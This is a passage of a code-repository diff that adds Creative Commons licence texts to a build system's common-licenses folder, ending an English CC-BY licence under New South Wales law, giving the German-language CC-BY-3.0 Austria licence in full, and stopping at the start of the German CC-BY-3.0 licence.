+2. Fair Dealing and Other Rights. Nothing in this Licence excludes or modifies, or is intended to exclude or modify, (including by reducing, limiting, or restricting) the rights of You or others to use the Work arising from fair dealings or other limitations on the rights of the copyright owner or the Original Author under copyright law, moral rights law or other applicable laws.
+
+3. Licence Grant. Subject to the terms and conditions of this Licence, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) licence to exercise the rights in the Work as stated below:
+
+ a. to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works;
+
+ b. to create and reproduce Derivative Works;
+
+ c. to publish, communicate to the public, distribute copies or records of, exhibit or display publicly, perform publicly and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works;
+
+ d. to publish, communicate to the public, distribute copies or records of, exhibit or display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works;
+
+ e. For the avoidance of doubt, where the Work is a musical composition:
+
+ i. Performance Royalties Under Blanket Licences. Licensor will not collect, whether individually or via a performance rights society, royalties for Your communication to the public, broadcast, public performance or public digital performance (e.g. webcast) of the Work.
+
+ ii. Mechanical Rights and Statutory Royalties. Licensor will not collect, whether individually or via a music rights agency, designated agent or a music publisher, royalties for any record You create from the Work ("cover version") and distribute, subject to the compulsory licence created by 17 USC Section 115 of the US Copyright Act (or an equivalent statutory licence under the Australian Copyright Act or in other jurisdictions).
+
+
+ f. Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor will not collect, whether individually or via a performance-rights society, royalties for Your public digital performance (e.g. webcast) of the Work, subject to the compulsory licence created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions).
+
+The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor under this Licence are hereby reserved.
+
+4. Restrictions. The licence granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work only under the terms of this Licence, and You must include a copy of, or the Uniform Resource Identifier for, this Licence with every copy or record of the Work You publish, communicate to the public, distribute, publicly exhibit or display, publicly perform or publicly digitally perform. You may not offer or impose any terms on the Work that exclude, alter or restrict the terms of this Licence or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this Licence and to the disclaimer of representations and warranties. You may not publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this Licence. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this Licence. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by Section 4(b), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by Section 4(b), as requested.
+
+ b. If you publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work. You must also give clear and reasonably prominent credit to (i) the Original Author (by name or pseudonym if applicable), if the name or pseudonym is supplied; and (ii) if another party or parties (eg a sponsor institute, publishing entity or journal) is designated for attribution in the copyright notice, terms of service or other reasonable means associated with the Work, such party or parties. If applicable, that credit must be given in the particular way made known by the Original Author and otherwise as reasonable to the medium or means You are utilizing, by conveying the identity of the Original Author and the other designated party or parties (if applicable); the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit.
+
+ c. False attribution prohibited. Except as otherwise agreed in writing by the Licensor, if You publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works in accordance with this Licence, You must not falsely attribute the Work to someone other than the Original Author.
+
+ d. Prejudice to honour or reputation prohibited. Except as otherwise agreed in writing by the Licensor, if you publish, communicate to the public, distribute, publicly exhibit or display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must not do anything that results in a material distortion of, the mutilation of, or a material alteration to, the Work that is prejudicial to the Original Author's honour or reputation, and You must not do anything else in relation to the Work that is prejudicial to the Original Author's honour or reputation.
+
+5. Disclaimer.
+
+EXCEPT AS EXPRESSLY STATED IN THIS LICENCE OR OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, AND TO THE FULL EXTENT PERMITTED BY APPLICABLE LAW, LICENSOR OFFERS THE WORK "AS-IS" AND MAKES NO REPRESENTATIONS, WARRANTIES OR CONDITIONS OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, ANY REPRESENTATIONS, WARRANTIES OR CONDITIONS REGARDING THE CONTENTS OR ACCURACY OF THE WORK, OR OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, THE ABSENCE OF LATENT OR OTHER DEFECTS, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability.
+
+TO THE FULL EXTENT PERMITTED BY APPLICABLE LAW, AND EXCEPT FOR ANY LIABILITY ARISING FROM CONTRARY MUTUAL AGREEMENT AS REFERRED TO IN SECTION 5, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE) FOR ANY LOSS OR DAMAGE WHATSOEVER, INCLUDING (WITHOUT LIMITATION) LOSS OF PRODUCTION OR OPERATION TIME, LOSS, DAMAGE OR CORRUPTION OF DATA OR RECORDS; OR LOSS OF ANTICIPATED SAVINGS, OPPORTUNITY, REVENUE, PROFIT OR GOODWILL, OR OTHER ECONOMIC LOSS; OR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF OR IN CONNECTION WITH THIS LICENCE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+If applicable legislation implies warranties or conditions, or imposes obligations or liability on the Licensor in respect of this Licence that cannot be wholly or partly excluded, restricted or modified, the Licensor's liability is limited, to the full extent permitted by the applicable legislation, at its option, to:
+
+ a. in the case of goods, any one or more of the following:
+
+ i. the replacement of the goods or the supply of equivalent goods;
+
+ ii. the repair of the goods;
+
+ iii. the payment of the cost of replacing the goods or of acquiring equivalent goods;
+
+ iv. the payment of the cost of having the goods repaired; or
+
+ b. in the case of services:
+
+ i. the supplying of the services again; or
+
+ ii. the payment of the cost of having the services supplied again.
+
+7. Termination.
+
+ a. This Licence and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Derivative Works or Collective Works from You under this Licence, however, will not have their licences terminated provided such individuals or entities remain in full compliance with those licences. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this Licence.
+
+ b. Subject to the above terms and conditions, the licence granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different licence terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this Licence (or any other licence that has been, or is required to be, granted under the terms of this Licence), and this Licence will continue in full force and effect unless terminated as stated above.
+
+8. Miscellaneous.
+
+ a. Each time You publish, communicate to the public, distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a licence to the Work on the same terms and conditions as the licence granted to You under this Licence.
+
+ b. Each time You publish, communicate to the public, distribute or publicly digitally perform a Derivative Work, Licensor offers to the recipient a licence to the original Work on the same terms and conditions as the licence granted to You under this Licence.
+
+ c. If any provision of this Licence is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Licence, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this Licence shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
+
+ e. This Licence constitutes the entire agreement between the parties with respect to the Work licensed here. To the full extent permitted by applicable law, there are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This Licence may not be modified without the mutual written agreement of the Licensor and You.
+
+ f. The construction, validity and performance of this Licence shall be governed by the laws in force in New South Wales, Australia.
+
+Creative Commons is not a party to this Licence, and, to the full extent permitted by applicable law, makes no representation or warranty whatsoever in connection with the Work. To the full extent permitted by applicable law, Creative Commons will not be liable to You or any party on any legal theory (including, without limitation, negligence) for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-AT b/meta/files/common-licenses/CC-BY-3.0-AT
new file mode 100644
index 0000000000..b22fedef2d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-AT
@@ -0,0 +1,111 @@
+CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Bearbeitung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange dieses erkennbar vom Schutzgegenstand abgeleitet wurde. Dies kann insbesondere auch eine Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Bearbeitung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Nutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten zu einem einheitlichen Ganzen, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine eigentümliche geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Bearbeitungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit zugänglich zu machen oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und eine Erteilung, Übertragung oder Einräumung von Nutzungsbewilligungen bzw Nutzungsrechten an Dritte erlaubt.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine eigentümliche geistige Schöpfung jeglicher Art oder ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff „Schutzgegenstand“ im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährte Nutzungsbewilligung trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Wiedergeben" im Sinne dieser Lizenz sind Wahrnehmbarmachungen des Schutzgegenstandes in unkörperlicher Form zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung oder zeit- und ortsunabhängiger Zurverfügungstellung erfolgen, unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, gleichviel in welchem Verfahren, auf welchem Träger, in welcher Menge und ob vorübergehend oder dauerhaft, Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch das erstmalige Festhalten des Schutzgegenstandes oder dessen Wahrnehmbarmachung auf Mitteln der wiederholbaren Wiedergabe sowie das Herstellen von Vervielfältigungsstücken dieser Festhaltung, sowie die Speicherung einer geschützten Darbietung oder eines Bild- und/oder Schallträgers in digitaler Form oder auf einem anderen elektronischen Medium.
+
+2. Beschränkungen der Verwertungsrechte
+
+Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die sich aus den Beschränkungen der Verwertungsrechte, anderen Beschränkungen der Ausschließlichkeitsrechte des Rechtsinhabers oder anderen entsprechenden Rechtsnormen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Lizenzierung
+
+Unter den Bedingungen dieser Lizenz erteilt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.e) - die vergütungsfreie, räumlich und zeitlich (für die Dauer des Urheberrechts oder verwandten Schutzrechts am Schutzgegenstand) unbeschränkte Nutzungsbewilligung, den Schutzgegenstand in der folgenden Art und Weise zu nutzen:
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Den Schutzgegenstand zu bearbeiten, einschließlich Übersetzungen unter Nutzung jedweder Medien anzufertigen, sofern deutlich erkennbar gemacht wird, dass es sich um eine Bearbeitung handelt;
+
+ c. Den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich wiederzugeben und zu verbreiten; und
+
+ d. Bearbeitungen des Schutzgegenstandes zu veröffentlichen, öffentlich wiederzugeben und zu verbreiten.
+
+ e. Bezüglich der Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechenden Vergütungsansprüche für jede Ausübung eines Rechts aus dieser Lizenz durch Sie geltend zu machen.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Geltendmachung der Vergütungsansprüche durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Die vorgenannte Nutzungsbewilligung wird für alle bekannten sowie alle noch nicht bekannten Nutzungsarten eingeräumt. Sie beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich vom Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf die Geltendmachung sämtlicher daraus resultierender Rechte.
+
+4. Bedingungen
+
+Die Erteilung der Nutzungsbewilligung gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich wiedergeben. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich wiedergeben, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich wiedergeben, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dasselbe gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie - soweit dies praktikabel ist - auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen. Wenn Sie eine Bearbeitung vornehmen, müssen Sie – soweit dies praktikabel ist – auf die Mitteilung eines Lizenzgebers hin von der Bearbeitung die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und die öffentliche Wiedergabe des Schutzgegenstandes oder auf ihm aufbauender Inhalte oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Urheberschaft oder die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie selbst – soweit bekannt – Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) Rechteinhabers, und/oder falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) („Zuschreibungsempfänger“), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Bearbeitung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Bearbeitung handelt.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Bearbeitung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung aller Beitragenden dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Urhebers, des Lizenzgebers und/oder des Zuschreibungsempfängers weder implizit noch explizit irgendeine Verbindung mit dem oder eine Unterstützung oder Billigung durch den Urheber, den Lizenzgeber oder den Zuschreibungsempfänger andeuten oder erklären.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. (Urheber)Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE ERTEILUNG DER NUTZUNGSBEWILLIGUNG UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN.
+
+6. Haftungsbeschränkung
+
+ÜBER DIE IN ZIFFER 5 GENANNTE GEWÄHRLEISTUNG HINAUS HAFTET DER LIZENZGEBER IHNEN GEGENÜBER FÜR SCHÄDEN JEGLICHER ART NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG FÜR FOLGE- ODER ANDERE SCHÄDEN, AUCH WENN ER ÜBER DIE MÖGLICHKEIT IHRES EINTRITTS UNTERRICHTET WURDE.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie erteilte Nutzungsbewilligung erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Bearbeitungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke sowie entsprechende Vervielfältigungsstücke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Bearbeitung des Schutzgegenstandes verbreiten oder öffentlich wiedergeben, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß 8.a) und b) angebotenen Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Republik Österreich Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-3.0-DE b/meta/files/common-licenses/CC-BY-3.0-DE
new file mode 100644
index 0000000000..2e7d215485
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-3.0-DE
@@ -0,0 +1,109 @@
+Creative Commons Namensnennung 3.0 Deutschland
+
